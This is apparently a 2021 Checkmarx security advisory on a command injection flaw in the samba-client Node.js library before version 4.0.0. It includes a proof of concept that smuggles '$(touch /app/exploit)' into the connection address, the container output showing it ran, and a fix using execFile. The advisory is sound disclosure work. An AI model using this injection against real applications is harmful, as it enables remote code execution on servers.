Command Injection Vulnerability In Samba-Client

NODE NODEJS JAVASCRIPT NPM RCE TYPESCRIPT

Fábio Freitas Feb 9, 2021

Details Overview

Summary

The samba-client library for NodeJS before version 4.0.0 suffers from a command injection vulnerability.
In the cases that this library is used in a project where the connection parameters may be defined by untrusted input, a malicious actor will be able to use this to inject malicious commands in the server hosting the Node JS application.

Product

samba-client before 4.0.0

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted inputs.

Steps To Reproduce

1. In a new folder create the following files:

```
# Dockerfile
FROM node:10-slim
WORKDIR /app
RUN npm i samba-client
COPY poc.js /app/poc.js
ENTRYPOINT ls -l /app && node poc.js && ls -l /app


// poc.js
const SambaClient = require('samba-client');

let client = new SambaClient({
    address: '//server/folder $(touch /app/exploit)',
    username: 'test',
    password: 'test',
    domain: 'WORKGROUP',
    maxProtocol: 'SMB3',
    maskCmd: true,
});

async function run() {
    try {
        await client.mkdir("test");
    } catch (err) {
        console.log(err);
    }
}

run();
```

2. Run `docker build . -t poc`
3. Run `docker start poc`

Expected Result:

A file named `exploit` has been created

```
total 12
drwxr-xr-x 3 root root 4096 Feb  4 14:16 node_modules
-rw-r--r-- 1 root root  329 Feb  4 14:16 package-lock.json
-rw-rw-r-- 1 root root  471 Feb  4 14:24 poc.js
{ Error: /bin/sh: 1: smbclient: not found

    at ChildProcess.exithandler (child_process.js:294:12)
    at ChildProcess.emit (events.js:198:13)
    at maybeClose (internal/child_process.js:982:16)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:259:5)
  killed: false,
```

```
  code: 127,
  signal: null,
  cmd:
   'smbclient -U \'test\' -c \'mkdir test\' //server/folder $(touch /app/exploit) \'test\' -W WORKGROUP --max-p
total 12
-rw-r--r-- 1 root root    0 Feb  5 15:18 exploit
drwxr-xr-x 3 root root 4096 Feb  4 14:16 node_modules
-rw-r--r-- 1 root root  329 Feb  4 14:16 package-lock.json
-rw-rw-r-- 1 root root  471 Feb  4 14:24 poc.js
```

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use `child_process.execFile` instead of `child_process.exec`.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @0xfabiof (Fábio Freitas).

Resources

1. Commit 5bc3bba
2. Release Notes